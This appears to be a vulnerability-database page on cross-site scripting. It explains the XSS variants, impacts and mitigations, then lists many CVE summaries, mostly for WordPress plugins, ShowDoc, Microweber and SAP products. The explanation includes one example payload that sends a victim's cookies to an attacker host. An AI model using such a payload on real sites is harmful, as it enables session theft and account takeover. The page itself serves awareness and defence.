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Cross-Site Scripting

web MEDIUM

Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding.

How It Works

Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding. The attacker crafts input containing JavaScript code, which the application then incorporates into its HTML response. When a victim's browser renders this response, it executes the injected script as if it were legitimate code from the trusted website.

The attack manifests in three main variants. Reflected XSS occurs when malicious script arrives via an HTTP parameter (like a search query) and immediately bounces back in the response—typically delivered through phishing links. Stored XSS is more dangerous: the payload persists in the application's database (in comment fields, user profiles, forum posts) and executes whenever anyone views the infected content. DOM-based XSS happens entirely client-side when JavaScript code improperly handles user-controllable data, modifying the DOM in unsafe ways without ever sending the payload to the server.

A typical attack flow starts with the attacker identifying an injection point—anywhere user input appears in HTML output. They craft a payload like <script>document.location='http://attacker.com/steal?c='+document.cookie</script> and inject it through the vulnerable parameter. When victims access the page, their browsers execute this script within the security context of the legitimate domain, giving the attacker full access to cookies, session tokens, and DOM content.

Impact

  • Session hijacking: Steal authentication cookies to impersonate victims and access their accounts
  • Credential harvesting: Inject fake login forms on trusted pages to capture usernames and passwords
  • Account takeover: Perform state-changing actions (password changes, fund transfers) as the authenticated victim
  • Keylogging: Monitor and exfiltrate everything users type on the compromised page
  • Phishing and malware distribution: Redirect users to malicious sites or deliver drive-by downloads from a trusted domain
  • Data exfiltration: Access and steal sensitive information visible in the DOM or retrieved via AJAX requests

Real-World Examples

A stored XSS vulnerability in Twitter (2010) allowed attackers to create self-propagating worms. Users hovering over malicious tweets automatically retweeted them and followed the attacker, creating viral spread through the platform's legitimate functionality.

eBay suffered from persistent XSS flaws in product listings (CVE-2015-2880) where attackers embedded malicious scripts in item descriptions. Buyers viewing these listings had their sessions compromised, enabling unauthorized purchases and account takeover.

British Airways faced a sophisticated supply chain attack (2018) where attackers injected JavaScript into the airline's payment page. The script skimmed credit card details from 380,000 transactions, demonstrating how XSS enables payment fraud at massive scale.

Mitigation

  • Context-aware output encoding: HTML-encode for HTML context, JavaScript-encode for JS strings, URL-encode for URLs—never use generic escaping
  • Content Security Policy (CSP): Deploy strict CSP headers to whitelist script sources and block inline JavaScript execution
  • HTTPOnly and Secure cookie flags: Prevent JavaScript access to session cookies and ensure transmission over HTTPS only
  • Input validation: Reject unexpected characters and patterns, though this is defense-in-depth, not primary protection
  • DOM-based XSS prevention: Use safe APIs like textContent instead of innerHTML; avoid passing user data to dangerous sinks like eval()

Recent CVEs (40998)

EPSS 1% CVSS 5.4
MEDIUM POC PATCH This Month

Stored XSS via File Upload in GitHub repository star7th/showdoc prior to 2.10.4. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available.

XSS File Upload Showdoc
NVD GitHub
EPSS 1% CVSS 5.4
MEDIUM POC PATCH This Month

Stored XSS via File Upload in GitHub repository star7th/showdoc prior to v.2.10.4. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available.

XSS File Upload Showdoc
NVD GitHub
EPSS 3% CVSS 5.4
MEDIUM POC PATCH This Month

Multiple Stored Cross-site Scripting (XSS) Vulnerabilities in Shop's Other Settings, Shop's Autorespond E-mail Settings and Shops' Payments Methods in GitHub repository microweber/microweber prior to. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available.

XSS Microweber
NVD GitHub
EPSS 1% CVSS 5.4
MEDIUM POC PATCH This Month

Cross-site Scripting (XSS) - Stored in GitHub repository pimcore/pimcore prior to 10.4.0. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available.

XSS Pimcore
NVD GitHub
EPSS 1% CVSS 5.4
MEDIUM POC PATCH This Month

Cross-site Scripting (XSS) - Stored in GitHub repository pimcore/pimcore prior to 10.4.0. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available.

XSS Pimcore
NVD GitHub
EPSS 1% CVSS 6.1
MEDIUM POC PATCH This Month

File Upload Restriction Bypass leading to Stored XSS Vulnerability in GitHub repository star7th/showdoc prior to 2.10.4. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available.

XSS File Upload Showdoc
NVD GitHub
EPSS 1% CVSS 5.4
MEDIUM POC PATCH This Month

Stored XSS viva axd and cshtml file upload in star7th/showdoc in GitHub repository star7th/showdoc prior to v2.10.4. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available.

XSS File Upload Showdoc
NVD GitHub
EPSS 1% CVSS 6.1
MEDIUM POC PATCH This Month

Sylius is an open source eCommerce platform. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

XSS Sylius
NVD GitHub
EPSS 1% CVSS 6.1
MEDIUM PATCH This Month

Sylius is an open source eCommerce platform. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS Sylius
NVD GitHub
EPSS 1% CVSS 6.1
MEDIUM This Month

IBM Spectrum Copy Data Management 2.2.0.0 through 2.2.14.3 is vulnerable to HTTP header injection, caused by improper validation of input by the HOST headers. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS IBM Spectrum Copy Data Management
NVD
EPSS 1% CVSS 5.4
MEDIUM POC PATCH This Month

Stored XSS viva .webma file upload in GitHub repository star7th/showdoc prior to 2.10.4. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available.

XSS File Upload Showdoc
NVD GitHub
EPSS 1% CVSS 6.1
MEDIUM POC This Month

The Simple Quotation WordPress plugin through 1.3.2 does not have CSRF check when creating or editing a quote and does not sanitise and escape Quotes. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

WordPress XSS CSRF +2
NVD WPScan
EPSS 1% CVSS 5.4
MEDIUM POC PATCH This Month

Stored XSS viva .properties file upload in GitHub repository star7th/showdoc prior to 2.10.4. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available.

XSS File Upload Showdoc
NVD GitHub
EPSS 1% CVSS 4.8
MEDIUM POC This Month

The GD Mylist WordPress plugin through 1.1.1 does not sanitise and escape some of its settings, allowing high privilege users such as admin to perform Cross-Site Scripting attacks even when the. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

WordPress XSS Gd Mylist
NVD WPScan
EPSS 1% CVSS 4.8
MEDIUM POC This Month

The Petfinder Listings WordPress plugin through 1.0.18 does not escape its settings, allowing high privilege users such as admin to perform Cross-Site Scripting attacks even when the unfiltered_html. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

WordPress XSS Petfinder Listings
NVD WPScan
EPSS 1% CVSS 4.8
MEDIUM POC This Month

The SEO 301 Meta WordPress plugin through 1.9.1 does not escape its Request and Destination settings, allowing high privilege users such as admin to perform Cross-Site Scripting attacks even when the. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

WordPress XSS Seo 301 Meta
NVD WPScan
EPSS 1% CVSS 4.8
MEDIUM POC This Month

The Simple Tracking WordPress plugin before 1.7 does not sanitise and escape its settings, allowing high privilege users such as admin to perform Cross-Site Scripting attacks even when the. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

WordPress XSS Simple Tracking
NVD WPScan
EPSS 1% CVSS 4.8
MEDIUM POC PATCH This Month

The WP Home Page Menu WordPress plugin before 3.1 does not sanitise and escape its settings, allowing high privilege users such as admin to perform Cross-Site Scripting attacks even when the. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available.

WordPress XSS Wordpress Plugin +1
NVD WPScan
EPSS 1% CVSS 4.8
MEDIUM POC This Month

The Kunze Law WordPress plugin before 2.1 does not escape its 'E-Mail Error "From" Address' settings, allowing high privilege users such as admin to perform Cross-Site Scripting attacks even when the. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

WordPress XSS Kunze Law
NVD WPScan
EPSS 1% CVSS 4.8
MEDIUM POC This Month

The Sync QCloud COS WordPress plugin before 2.0.1 does not escape some of its settings, allowing high privilege users such as admin to perform Cross-Site Scripting attacks even when the. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

WordPress XSS Sync Qcloud Cos
NVD WPScan
EPSS 1% CVSS 6.1
MEDIUM POC This Month

The Team Circle Image Slider With Lightbox WordPress plugin before 1.0.16 does not sanitize and escape the order_pos parameter before outputting it back in an admin page, leading to a Reflected. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

WordPress XSS Team Circle Image Slider With Lightbox +1
NVD WPScan
EPSS 1% CVSS 6.1
MEDIUM POC PATCH This Month

The Countdown, Coming Soon, Maintenance WordPress plugin before 2.2.9 does not sanitize and escape the post parameter before outputting it back in an admin page, leading to a Reflected Cross-Site. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available.

WordPress XSS Wordpress Plugin +2
NVD WPScan
EPSS 1% CVSS 6.1
MEDIUM POC This Month

The WordPress Multisite Content Copier/Updater WordPress plugin before 2.1.2 does not sanitise and escape the s parameter before outputting it back in an attribute, leading to a Reflected Cross-Site. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

WordPress XSS Multisite Content Copier Updater +1
NVD WPScan
EPSS 1% CVSS 6.1
MEDIUM POC This Month

The Flexi WordPress plugin before 4.20 does not sanitise and escape various parameters before outputting them back in some pages such as the user dashboard, leading to a Reflected Cross-Site Scripting. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

WordPress XSS Flexi +1
NVD WPScan
EPSS 1% CVSS 6.1
MEDIUM POC PATCH This Month

The Advanced Product Labels for WooCommerce WordPress plugin before 1.2.3.7 does not sanitise and escape the tax_color_set_type parameter before outputting it back in the berocket_apl_color_listener. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available.

WordPress XSS Wordpress Plugin +2
NVD WPScan
EPSS 1% CVSS 6.1
MEDIUM POC This Month

The Master Addons for Elementor WordPress plugin before 1.8.5 does not sanitise and escape the error_message parameter before outputting it back in the response of the jltma_restrict_content AJAX. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

WordPress XSS Master Addons For Elementor
NVD WPScan
EPSS 1% CVSS 6.1
MEDIUM POC This Month

The WP Voting Contest WordPress plugin before 3.0 does not sanitise and escape the post_id parameter before outputting it back in the response via the wpvc_social_share_icons AJAX action (available. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

WordPress XSS Wp Voting Contest
NVD WPScan
EPSS 2% CVSS 6.1
MEDIUM POC PATCH This Month

The Contact Form Submissions WordPress plugin before 1.7.3 does not sanitise and escape additional fields in contact form requests before outputting them in the related submission. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available.

WordPress XSS Wordpress Plugin +1
NVD WPScan
EPSS 1% CVSS 6.1
MEDIUM POC This Month

The Better WordPress Google XML Sitemaps WordPress plugin through 1.4.1 does not sanitise and escape its logs when outputting them in the admin dashboard, which could allow unauthenticated users to. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

WordPress XSS Google +1
NVD WPScan
EPSS 1% CVSS 6.1
MEDIUM POC PATCH This Month

The ARI Fancy Lightbox WordPress plugin before 1.3.9 does not sanitise and escape the msg parameter before outputting it back in an admin page, leading to a Reflected Cross-Site Scripting. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available.

WordPress XSS Wordpress Plugin +2
NVD WPScan
EPSS 2% CVSS 6.1
MEDIUM POC PATCH This Month

The Cookie Information | Free GDPR Consent Solution WordPress plugin before 2.0.8 does not escape user data before outputting it back in attributes in the admin dashboard, leading to a Reflected. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available.

WordPress XSS Wp Gdpr Compliance +1
NVD WPScan
EPSS 1% CVSS 5.4
MEDIUM POC PATCH This Month

Stored XSS viva cshtm file upload in GitHub repository star7th/showdoc prior to v2.10.4. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available.

XSS File Upload Showdoc
NVD GitHub
EPSS 1% CVSS 6.1
MEDIUM This Month

Stored XSS in SmarterTools SmarterTrack This issue affects: SmarterTools SmarterTrack 100.0.8019.14010. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS Smartertrack Smartertools
NVD
EPSS 5% CVSS 6.1
MEDIUM POC This Month

Cross-site Scripting (XSS) vulnerability in SmarterTools SmarterTrack This issue affects: SmarterTools SmarterTrack 100.0.8019.14010. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

XSS Smartertrack Smartertools
NVD
EPSS 1% CVSS 5.4
MEDIUM POC PATCH This Month

Stored XSS due to Unrestricted File Upload in GitHub repository star7th/showdoc prior to v2.10.4. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available.

XSS File Upload Showdoc
NVD GitHub
EPSS 1% CVSS 5.4
MEDIUM POC PATCH This Month

Stored XSS due to Unrestricted File Upload in GitHub repository star7th/showdoc prior to v2.10.4. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available.

XSS File Upload Showdoc
NVD GitHub
EPSS 1% CVSS 5.4
MEDIUM POC PATCH This Month

Stored XSS via file upload in GitHub repository star7th/showdoc prior to v2.10.4. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available.

XSS File Upload Showdoc
NVD GitHub
EPSS 0% CVSS 5.4
MEDIUM POC PATCH This Month

Cross-site Scripting (XSS) - Stored in GitHub repository vanessa219/vditor prior to 3.8.12. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available.

XSS Vditor B3Log
NVD GitHub
EPSS 1% CVSS 5.4
MEDIUM POC PATCH This Month

Stored xss in showdoc through file upload in GitHub repository star7th/showdoc prior to 2.10.4. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available.

XSS File Upload Showdoc
NVD GitHub
EPSS 1% CVSS 4.8
MEDIUM POC PATCH This Month

File upload filter bypass leading to stored XSS in GitHub repository microweber/microweber prior to 1.2.12. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available.

XSS File Upload Microweber
NVD GitHub
EPSS 1% CVSS 6.1
MEDIUM POC PATCH This Month

XSS on dynamic_text module in GitHub repository microweber/microweber prior to 1.2.11. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available.

XSS Microweber
NVD GitHub
EPSS 1% CVSS 4.8
MEDIUM POC PATCH This Month

File upload filter bypass leading to stored XSS in GitHub repository microweber/microweber prior to 1.2.12. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available.

XSS File Upload Microweber
NVD GitHub
EPSS 1% CVSS 5.4
MEDIUM POC PATCH This Month

Cross-site Scripting (XSS) - Stored in GitHub repository star7th/showdoc prior to 2.10.2. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available.

XSS Showdoc
NVD GitHub
EPSS 1% CVSS 6.1
MEDIUM POC PATCH This Month

Alist v2.1.0 and below was discovered to contain a cross-site scripting (XSS) vulnerability via /i/:data/ipa.plist. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

XSS Alist Alistgo
NVD GitHub
EPSS 1% CVSS 6.1
MEDIUM This Month

Reflected Cross-Site Scripting (XSS) vulnerability affecting parameter &tab discovered in Contact Form X WordPress plugin (versions <= 2.4). Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

WordPress XSS Fedora +4
NVD
EPSS 2% CVSS 5.4
MEDIUM POC PATCH This Month

Cross-site Scripting (XSS) - Stored in GitHub repository microweber/microweber prior to 1.2.12. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available.

XSS Microweber
NVD GitHub
EPSS 1% CVSS 5.4
MEDIUM POC PATCH This Month

lib/Horde/Mime/Viewer/Ooo.php in Horde Mime_Viewer before 2.2.4 allows XSS via an OpenOffice document, leading to account takeover in Horde Groupware Webmail Edition. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available.

PHP XSS Debian +3
NVD GitHub
EPSS 1% CVSS 5.4
MEDIUM POC PATCH This Month

Cross-site Scripting (XSS) - Reflected in GitHub repository orchardcms/orchardcore prior to 1.3.0. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available.

XSS Orchardcore
NVD GitHub
EPSS 0% CVSS 5.4
MEDIUM POC This Month

FreeTAKServer-UI v1.9.8 was discovered to contain a stored cross-site scripting (XSS) vulnerability via the Callsign parameter. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

XSS Freetakserver Ui Freetakserver Ui Project
NVD GitHub
EPSS 1% CVSS 6.1
MEDIUM POC PATCH This Month

Cross-site Scripting (XSS) - Stored in GitHub repository orchardcms/orchardcore prior to 1.3.0. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available.

XSS Orchardcore
NVD GitHub
EPSS 1% CVSS 6.1
MEDIUM POC This Month

Fiori launchpad - versions 754, 755, 756, does not sufficiently encode user-controlled inputs, resulting in Cross-Site Scripting (XSS) vulnerability. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

XSS SAP Fiori Launchpad
NVD
EPSS 1% CVSS 6.1
MEDIUM POC This Month

Luocms v2.0 is affected by Cross Site Scripting (XSS) in /admin/news/sort_add.php and /inc/function.php. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

PHP XSS Luocms +1
NVD GitHub
EPSS 1% CVSS 5.4
MEDIUM This Month

Persistent cross-site scripting (XSS) in the web interface of ipDIO allows an authenticated remote attacker to introduce arbitrary JavaScript by injecting an XSS payload into specific fields. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS Ipdio Firmware Ipcomm
NVD
EPSS 1% CVSS 6.1
MEDIUM POC This Month

The SAP Focused Run (Real User Monitoring) - versions 200, 300, REST service does not sufficiently sanitize the input name of the file using multipart/form-data, resulting in Cross-Site Scripting. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

XSS SAP Focused Run
NVD
EPSS 1% CVSS 6.1
MEDIUM This Month

SAP NetWeaver Enterprise Portal - versions 7.30, 7.31, 7.40, 7.50, does not sufficiently encode user-controlled inputs, resulting in reflected Cross-Site Scripting (XSS) vulnerability.This reflected. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS SAP Netweaver Enterprise Portal
NVD
EPSS 1% CVSS 6.1
MEDIUM This Month

SAP NetWeaver Enterprise Portal - versions 7.10, 7.11, 7.20, 7.30, 7.31, 7.40, 7.50, does not sufficiently encode user-controlled inputs, resulting in reflected Cross-Site Scripting (XSS). Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS SAP Netweaver Enterprise Portal
NVD
EPSS 1% CVSS 6.1
MEDIUM POC This Month

A cross-site scripting (XSS) vulnerability in the component cgi-bin/ej.cgi of Ex libris ALEPH 500 v18.1 and v20 allows attackers to execute arbitrary web scripts or HTML. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

XSS Aleph 500 Exlibrisgroup
NVD GitHub
EPSS 1% CVSS 5.4
MEDIUM This Month

A stored cross-site scripting vulnerability in marktext versions prior to v0.17.0 due to improper handling of the link (with javascript: scheme) inside the document may allow an attacker to execute. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS Marktext
NVD GitHub
EPSS 1% CVSS 6.1
MEDIUM This Month

Persistent cross-site scripting in the web interface of ipDIO allows an unauthenticated remote attacker to introduce arbitrary JavaScript by injecting an XSS payload into a specific parameter. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS Ipdio Firmware Ipcomm
NVD
EPSS 1% CVSS 6.1
MEDIUM POC This Month

SmartBear CodeCollaborator v6.1.6102 was discovered to contain a vulnerability in the web UI which would allow an attacker to conduct a clickjacking attack. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

XSS Collaborator Smartbear
NVD GitHub VulDB
EPSS 1% CVSS 4.8
MEDIUM POC PATCH This Month

Unrestricted file upload leads to stored XSS in GitHub repository microweber/microweber prior to 1.1.12. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available.

XSS File Upload Microweber
NVD GitHub
EPSS 1% CVSS 6.1
MEDIUM PATCH This Month

Shopware is an open commerce platform based on the Symfony php Framework and the Vue javascript framework. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.

PHP XSS Shopware
NVD GitHub
EPSS 1% CVSS 4.4
MEDIUM PATCH This Month

An authenticated user can create a link with reflected Javascript code inside it for graphs’ page and send it to other users. Rated medium severity (CVSS 4.4), this vulnerability is remotely exploitable. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.

XSS CSRF Debian +5
NVD
EPSS 1% CVSS 4.4
MEDIUM PATCH This Month

An authenticated user can create a link with reflected Javascript code inside it for items’ page and send it to other users. Rated medium severity (CVSS 4.4), this vulnerability is remotely exploitable. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.

XSS CSRF Fedora +3
NVD
EPSS 1% CVSS 4.4
MEDIUM PATCH This Month

An authenticated user can create a link with reflected Javascript code inside it for services’ page and send it to other users. Rated medium severity (CVSS 4.4), this vulnerability is remotely exploitable. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.

XSS CSRF Debian +5
NVD
EPSS 1% CVSS 4.4
MEDIUM PATCH This Month

An authenticated user can create a link with reflected XSS payload for actions’ pages, and send it to other users. Rated medium severity (CVSS 4.4), this vulnerability is remotely exploitable. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.

XSS Debian Debian Linux +4
NVD
EPSS 1% CVSS 5.4
MEDIUM This Month

Various configuration pages of the device are vulnerable to reflected XSS (Cross-Site Scripting) attacks. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS 750 8202 Firmware 750 8100 Firmware +24
NVD
EPSS 1% CVSS 5.4
MEDIUM POC PATCH This Month

Cross-site Scripting (XSS) - Stored in GitHub repository bookstackapp/bookstack prior to v22.02.3. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available.

XSS Bookstack Bookstackapp
NVD GitHub
EPSS 1% CVSS 4.8
MEDIUM POC PATCH This Month

The E2Pdf WordPress plugin before 1.16.45 does not sanitise and escape some of its settings, which could allow high privilege users to perform Cross-Site Scripting attacks even when the. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available.

WordPress XSS E2pdf
NVD WPScan
EPSS 2% CVSS 6.1
MEDIUM POC PATCH This Month

The Ditty (formerly Ditty News Ticker) WordPress plugin before 3.0.15 is affected by a Reflected Cross-Site Scripting (XSS) vulnerability. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available.

WordPress XSS Ditty +2
NVD WPScan
EPSS 6% CVSS 4.8
MEDIUM POC This Month

The CP Blocks WordPress plugin before 1.0.15 does not sanitise and escape its "License ID" settings, which could allow high privilege users to perform Cross-Site Scripting attacks even when the. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

WordPress XSS Cp Blocks +1
NVD WPScan Exploit-DB
EPSS 1% CVSS 6.1
MEDIUM POC This Month

The WP Cerber Security, Anti-spam & Malware Scan WordPress plugin before 8.9.6 does not sanitise the $url variable before using it in an attribute in the Activity tab in the plugins dashboard,. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

WordPress XSS Wp Cerber Security Anti Spam Malware Scan +1
NVD WPScan
EPSS 1% CVSS 5.4
MEDIUM POC PATCH This Month

The Product Feed PRO for WooCommerce WordPress plugin before 11.2.3 does not escape the rowCount parameter before outputting it back in an attribute via the woosea_categories_dropdown AJAX action. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available.

WordPress XSS Product Feed Pro For Woocommerce +2
NVD WPScan
EPSS 8% CVSS 6.1
MEDIUM POC PATCH This Month

The White Label CMS WordPress plugin before 2.2.9 does not sanitise and validate the wlcms[_login_custom_js] parameter before outputting it back in the response while previewing, leading to a. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available.

WordPress XSS Wordpress Plugin +2
NVD WPScan
EPSS 1% CVSS 4.8
MEDIUM POC This Month

The WP Time Slots Booking Form WordPress plugin before 1.1.63 does not sanitise and escape Calendar names, allowing high privilege users to perform Cross-Site Scripting attacks even when the. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

WordPress XSS Wp Time Slots Booking Form +1
NVD WPScan
EPSS 1% CVSS 6.1
MEDIUM POC This Month

The LoginPress | Custom Login Page Customizer WordPress plugin before 1.5.12 does not escape the redirect-page parameter before outputting it back in an attribute, leading to a Reflected Cross-Site. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

WordPress XSS Loginpress +1
NVD WPScan
EPSS 1% CVSS 5.4
MEDIUM POC This Month

The YOP Poll WordPress plugin before 6.3.5 does not sanitise and escape some of the settings (available to users with a role as low as author) before outputting them, leading to a Stored Cross-Site. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

WordPress XSS Yop Poll
NVD WPScan
EPSS 2% CVSS 9.6
CRITICAL POC PATCH Act Now

Mark Text v0.16.3 was discovered to contain a DOM-based cross-site scripting (XSS) vulnerability which allows attackers to perform remote code execution (RCE) via injecting a crafted payload into. Rated critical severity (CVSS 9.6), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available.

XSS RCE Marktext
NVD GitHub
EPSS 0% CVSS 4.8
MEDIUM PATCH This Month

An issue was discovered in Veritas InfoScale Operations Manager (VIOM) before 7.4.2 Patch 600 and 8.x before 8.0.0 Patch 100. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.

XSS Infoscale Operations Manager Veritas
NVD
EPSS 1% CVSS 6.1
MEDIUM POC This Month

The Cedar Gate EZ-NET portal 6.5.5 6.8.0 Internet portal has a call to display messages to users which does not properly sanitize data sent in through a URL parameter. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

XSS Ez Net Portal
NVD
EPSS 2% CVSS 6.1
MEDIUM POC This Month

Multilple Cross Site Scripting (XSS) vulnerability exists in Intelliants Subrion CMS v4.2.1 in the Configuration panel. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

XSS Subrion Cms Intelliants
NVD GitHub VulDB
EPSS 3% CVSS 6.1
MEDIUM POC This Month

Cross Site Scripting (XSS) vulnerability exists in Subrion CMS 4.2.1 via the q parameter in the Kickstart template. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

XSS Subrion Cms Intelliants
NVD GitHub VulDB
EPSS 67% CVSS 5.4
MEDIUM POC PATCH THREAT This Month

Cross-site Scripting (XSS) - Stored in GitHub repository pimcore/pimcore prior to 10.3.3. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available.

XSS Pimcore
NVD GitHub
EPSS 1% CVSS 5.4
